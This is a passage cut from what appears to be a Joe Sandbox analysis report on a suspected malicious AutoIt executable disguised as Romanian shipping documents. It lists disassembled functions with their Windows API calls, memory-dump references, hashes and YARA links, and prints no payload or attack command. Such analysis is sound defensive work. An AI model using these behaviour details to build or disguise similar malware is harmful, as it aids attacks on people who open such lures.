                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Internet$CloseConnectHandleOpen
                                                • String ID:
                                                • API String ID: 1463438336-0
                                                • Opcode ID: c69b4fd6ff710b44b169dfb31dc3fc32899103b007554ce20870db384df39281
                                                • Instruction ID: ddef0f3fe45669b9157546ef80cc85e2f611df5c327eb68af4b4df5a212771a5
                                                • Opcode Fuzzy Hash: c69b4fd6ff710b44b169dfb31dc3fc32899103b007554ce20870db384df39281
                                                • Instruction Fuzzy Hash: 8B219235200605BFEB169FA4DC01FFABBBDFF48710F10402AFA1196650D771D8629BA0
                                                Function 00A03A2A Relevance: 6.1, APIs: 4, Instructions: 78COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetFileAttributesW.KERNEL32(?,00A2FAC0), ref: 00A03A64
                                                • GetLastError.KERNEL32 ref: 00A03A73
                                                • CreateDirectoryW.KERNEL32(?,00000000), ref: 00A03A82
                                                • CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00A2FAC0), ref: 00A03ADF
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CreateDirectory$AttributesErrorFileLast
                                                • String ID:
                                                • API String ID: 2267087916-0
                                                • Opcode ID: a6cef9395e612b2555bab01e63e32b9d8e8b9aac15851402d7db36c4366b88ea
                                                • Instruction ID: 3e321dbeb0ab7d9cfa0aff4c0039701c2bf6ebecdc9917b55a1e80dff7959b59
                                                • Opcode Fuzzy Hash: a6cef9395e612b2555bab01e63e32b9d8e8b9aac15851402d7db36c4366b88ea
                                                • Instruction Fuzzy Hash: 1F2194356092059FC710DF68D8818ABB7F8AE563A4F104A2DF499C72E1D7319A46CB82
                                                Function 009D50E2 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • _free.LIBCMT ref: 009D5101
                                                  • Part of subcall function 009C571C: __FF_MSGBANNER.LIBCMT ref: 009C5733
                                                  • Part of subcall function 009C571C: __NMSG_WRITE.LIBCMT ref: 009C573A
                                                  • Part of subcall function 009C571C: RtlAllocateHeap.NTDLL(010C0000,00000000,00000001,00000000,?,?,?,009C0DD3,?), ref: 009C575F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AllocateHeap_free
                                                • String ID:
                                                • API String ID: 614378929-0
                                                • Opcode ID: b8d1aeba5b5d447631819212222c6a16fd0f93ceca69d0373d65bfb3332248ee
                                                • Instruction ID: 5e0dd5f68e36208b707ca6a0e3b2e08f6ff993187331631c4c8987cc4cde22fe
                                                • Opcode Fuzzy Hash: b8d1aeba5b5d447631819212222c6a16fd0f93ceca69d0373d65bfb3332248ee
                                                • Instruction Fuzzy Hash: 2611E7B2948A11AFCB316FB4AC05B6E3BA85B643A1B11893FF9049A351DE34CD418791
                                                Function 00A16369 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00A07896,?,?,00000000), ref: 009A5A2C
                                                  • Part of subcall function 009A5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00A07896,?,?,00000000,?,?), ref: 009A5A50
                                                • gethostbyname.WSOCK32(?,?,?), ref: 00A16399
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00A163A4
                                                • _memmove.LIBCMT ref: 00A163D1
                                                • inet_ntoa.WSOCK32(?), ref: 00A163DC
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
                                                • String ID:
                                                • API String ID: 1504782959-0
                                                • Opcode ID: e030ec3fbc1134ac9abd2b8f1fe601146830a9652fe72ebd654a6ba339cc5197
                                                • Instruction ID: 108f035591603b4c58b52e8bf3bce46a75704a4a4e3fd04960e28fefcf48ecef
                                                • Opcode Fuzzy Hash: e030ec3fbc1134ac9abd2b8f1fe601146830a9652fe72ebd654a6ba339cc5197
                                                • Instruction Fuzzy Hash: 6F114C35600109AFCB00EBA8DA46EEFB7B8AF85310B154075F506A7161DB30AE05DBA1
                                                Function 009F8B41 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 009F8B61
                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 009F8B73
                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 009F8B89
                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 009F8BA4
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID:
                                                • API String ID: 3850602802-0
                                                • Opcode ID: 8d5d72eb8f7003fc5b083a6121538b73a5d1b1fba381a23e7b3ed5e7c7d7a06c
                                                • Instruction ID: b7adf525b44755fc7a81c09487afbfa1e6656f5c0182744f0f2c02c611d80b0b
                                                • Opcode Fuzzy Hash: 8d5d72eb8f7003fc5b083a6121538b73a5d1b1fba381a23e7b3ed5e7c7d7a06c
                                                • Instruction Fuzzy Hash: 13111C79901218FFDB11DF95CC85FAEBB78FB48710F2040A5EA00B7250DA716E11DB94
                                                Function 009A1290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A2612: GetWindowLongW.USER32(?,000000EB), ref: 009A2623
                                                • DefDlgProcW.USER32(?,00000020,?), ref: 009A12D8
                                                • GetClientRect.USER32(?,?), ref: 009DB5FB
                                                • GetCursorPos.USER32(?), ref: 009DB605
                                                • ScreenToClient.USER32(?,?), ref: 009DB610
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Client$CursorLongProcRectScreenWindow
                                                • String ID:
                                                • API String ID: 4127811313-0
                                                • Opcode ID: 5c5e9ddeacd4105afdef63cf7adf19ccabd4fe1f7060c18fd1e550101858ca19
                                                • Instruction ID: 898048e8b332f4552ded4af20226d42d1548c1ef7e39af51c8a4d4be8e23dc31
                                                • Opcode Fuzzy Hash: 5c5e9ddeacd4105afdef63cf7adf19ccabd4fe1f7060c18fd1e550101858ca19
                                                • Instruction Fuzzy Hash: 1A113A39A00019EFCB10DFA8D985AFE77B8EB06300F400466F911E7240C730FA528BE5
                                                Function 00A01142 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,009FFCED,?,00A00D40,?,00008000), ref: 00A0115F
                                                • Sleep.KERNEL32(00000000,?,?,?,?,?,?,009FFCED,?,00A00D40,?,00008000), ref: 00A01184
                                                • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,009FFCED,?,00A00D40,?,00008000), ref: 00A0118E
                                                • Sleep.KERNEL32(?,?,?,?,?,?,?,009FFCED,?,00A00D40,?,00008000), ref: 00A011C1
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CounterPerformanceQuerySleep
                                                • String ID:
                                                • API String ID: 2875609808-0
                                                • Opcode ID: dddc4a24e4cd3b63a3bf6e082b41a1d494ea81fdabb1aa0e5d599b6c1f9da4b1
                                                • Instruction ID: d6a1cff766ca4e90d8705643a7a919346c276cd24ac49ea1292868694f51c8b1
                                                • Opcode Fuzzy Hash: dddc4a24e4cd3b63a3bf6e082b41a1d494ea81fdabb1aa0e5d599b6c1f9da4b1
                                                • Instruction Fuzzy Hash: 9B113031D0061DDBCF14DFE9E845AEEBB78FF09711F404269EA45B6280CB7055A2CB95
                                                Function 009FD831 Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 009FD84D
                                                • LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 009FD864
                                                • RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 009FD879
                                                • RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 009FD897
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Type$Register$FileLoadModuleNameUser
                                                • String ID:
                                                • API String ID: 1352324309-0
                                                • Opcode ID: 54a087edefba011dd4c3ce9f6941242443a046febfbac99fb2980108d7269643
                                                • Instruction ID: b1950e5fbca7b069f17fc644ccd8d5244699f15f396ab8f9bc59311c981e1353
                                                • Opcode Fuzzy Hash: 54a087edefba011dd4c3ce9f6941242443a046febfbac99fb2980108d7269643
                                                • Instruction Fuzzy Hash: 6E115E75606308EFE320DF94DC08FA6BBBDEB00B40F108979AA16D6450D7B4E54A9BA1
                                                Function 009D6FB7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                • String ID:
                                                • API String ID: 3016257755-0
                                                • Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
                                                • Instruction ID: 901c9e4ed9d927ead1803c1c80502aa4f83aefa9d555f57955b6c724d62b0521
                                                • Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
                                                • Instruction Fuzzy Hash: 57014C7248814ABBCF165FC8DC01CEE7F66BB18350F588456FE5858271E237C9B1AB91
                                                Function 00A2B2C5 Relevance: 6.0, APIs: 4, Instructions: 47COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetWindowRect.USER32(?,?), ref: 00A2B2E4
                                                • ScreenToClient.USER32(?,?), ref: 00A2B2FC
                                                • ScreenToClient.USER32(?,?), ref: 00A2B320
                                                • InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00A2B33B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ClientRectScreen$InvalidateWindow
                                                • String ID:
                                                • API String ID: 357397906-0
                                                • Opcode ID: 6d712cbadc0ce50dc63144c1746e01be82fbc104148b30dd8262137360cc16f9
                                                • Instruction ID: 9c045096f7d0b07d51e6cbf884fecac35beb3fa15ccca535617e1b7e180de906
                                                • Opcode Fuzzy Hash: 6d712cbadc0ce50dc63144c1746e01be82fbc104148b30dd8262137360cc16f9
                                                • Instruction Fuzzy Hash: E51144B9D00249EFDB51CFA9D9849EEBBF9FF08310F108166E914E3620D735AA558F50
                                                Function 00A2B635 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00A2B644
                                                • _memset.LIBCMT ref: 00A2B653
                                                • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00A66F20,00A66F64), ref: 00A2B682
                                                • CloseHandle.KERNEL32 ref: 00A2B694
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _memset$CloseCreateHandleProcess
                                                • String ID:
                                                • API String ID: 3277943733-0
                                                • Opcode ID: 31b9d3a24f6c9457ecf78eeffd3b060cceb04149a2f52b28204d66ff2836d09b
                                                • Instruction ID: 0760373a00ce2098b78e541e51998114b532b129ba986fb07e806f8844a1e81d
                                                • Opcode Fuzzy Hash: 31b9d3a24f6c9457ecf78eeffd3b060cceb04149a2f52b28204d66ff2836d09b
                                                • Instruction Fuzzy Hash: ABF082B25403007FE310A7E5BC16FBB3AACEB18395F004034FA09E9192D7B64C0287B9
                                                Function 00A06BDA Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                Download Yara Rule
                                                APIs
                                                • EnterCriticalSection.KERNEL32(?), ref: 00A06BE6
                                                  • Part of subcall function 00A076C4: _memset.LIBCMT ref: 00A076F9
                                                • _memmove.LIBCMT ref: 00A06C09
                                                • _memset.LIBCMT ref: 00A06C16
                                                • LeaveCriticalSection.KERNEL32(?), ref: 00A06C26
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CriticalSection_memset$EnterLeave_memmove
                                                • String ID:
                                                • API String ID: 48991266-0
                                                • Opcode ID: 58c621d1316b3c044363ef18b8d364db78b19acc126a38f2bcd608e701202912
                                                • Instruction ID: 4e0f871a3f22d9a1a5e13a88ad7eaf4c6cfe5fefe8322636a566f8a6f443f7f2
                                                • Opcode Fuzzy Hash: 58c621d1316b3c044363ef18b8d364db78b19acc126a38f2bcd608e701202912
                                                • Instruction Fuzzy Hash: CEF0303A500104ABCF016F95EC85E9ABB29EF95360F048065FE095E266DB31A812CBB5
                                                Function 009A2218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetSysColor.USER32(00000008), ref: 009A2231
                                                • SetTextColor.GDI32(?,000000FF), ref: 009A223B
                                                • SetBkMode.GDI32(?,00000001), ref: 009A2250
                                                • GetStockObject.GDI32(00000005), ref: 009A2258
                                                • GetWindowDC.USER32(?,00000000), ref: 009DBE83
                                                • GetPixel.GDI32(00000000,00000000,00000000), ref: 009DBE90
                                                • GetPixel.GDI32(00000000,?,00000000), ref: 009DBEA9
                                                • GetPixel.GDI32(00000000,00000000,?), ref: 009DBEC2
                                                • GetPixel.GDI32(00000000,?,?), ref: 009DBEE2
                                                • ReleaseDC.USER32(?,00000000), ref: 009DBEED
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
                                                • String ID:
                                                • API String ID: 1946975507-0
                                                • Opcode ID: 98cfdc89950a0514a861e907677f5487b92352416d8447f9f94b7e10aa03af12
                                                • Instruction ID: b307f62b5339a1cab56290091b0d829c1cab05bd370b3a11106bc9fe3f86b254
                                                • Opcode Fuzzy Hash: 98cfdc89950a0514a861e907677f5487b92352416d8447f9f94b7e10aa03af12
                                                • Instruction Fuzzy Hash: D2E03932144244EEDF219FA8EC0DBE83B24EB05332F008376FB69880E187714992DB22
                                                Function 009F8712 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCurrentThread.KERNEL32 ref: 009F871B
                                                • OpenThreadToken.ADVAPI32(00000000,?,?,?,009F82E6), ref: 009F8722
                                                • GetCurrentProcess.KERNEL32(00000028,?,?,?,?,009F82E6), ref: 009F872F
                                                • OpenProcessToken.ADVAPI32(00000000,?,?,?,009F82E6), ref: 009F8736
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CurrentOpenProcessThreadToken
                                                • String ID:
                                                • API String ID: 3974789173-0
                                                • Opcode ID: 469e6c62a14444986eb505b0bdec4091514cb0b7ae528d66109dbd0532db154b
                                                • Instruction ID: 3e5d0dc92c4afc5a5ffe7bc7e7b6bf293e64914863f8ccef010b29f5eb82e8b3
                                                • Opcode Fuzzy Hash: 469e6c62a14444986eb505b0bdec4091514cb0b7ae528d66109dbd0532db154b
                                                • Instruction Fuzzy Hash: 95E04F36615211DFD770AFF45D0CBAB3BBCEF55791F244838A645C9040EA2484438750
                                                Function 009FB2F3 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 241comCOMMON
                                                Download Yara Rule
                                                APIs
                                                • OleSetContainedObject.OLE32(?,00000001), ref: 009FB4BE
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ContainedObject
                                                • String ID: AutoIt3GUI$Container
                                                • API String ID: 3565006973-3941886329
                                                • Opcode ID: 5078c95b8f3a66d37ea0323e2435f033dec2f0f9e954f809eb1a79a3d869c514
                                                • Instruction ID: 2b683001b6973f4e48c1e454db87132734a8b3a8939b48133f6d8d404271c8a5
                                                • Opcode Fuzzy Hash: 5078c95b8f3a66d37ea0323e2435f033dec2f0f9e954f809eb1a79a3d869c514
                                                • Instruction Fuzzy Hash: D2915974600605AFDB14DF64C884B6ABBF9FF49711F20896DFA4ACB2A1DB70E841CB50
                                                Function 00A0AFAC Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009BFC86: _wcscpy.LIBCMT ref: 009BFCA9
                                                  • Part of subcall function 009A9837: __itow.LIBCMT ref: 009A9862
                                                  • Part of subcall function 009A9837: __swprintf.LIBCMT ref: 009A98AC
                                                • __wcsnicmp.LIBCMT ref: 00A0B02D
                                                • WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00A0B0F6
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
                                                • String ID: LPT
                                                • API String ID: 3222508074-1350329615
                                                • Opcode ID: d4794428e3f9c7608f27560cc2123dc82a2709ab4d32558a0d5dcd7d10072237
                                                • Instruction ID: d40122f6cb7ca45dfbd1d81fbb6c4149e7d33b973378c25201a8e9058f46c16c
                                                • Opcode Fuzzy Hash: d4794428e3f9c7608f27560cc2123dc82a2709ab4d32558a0d5dcd7d10072237
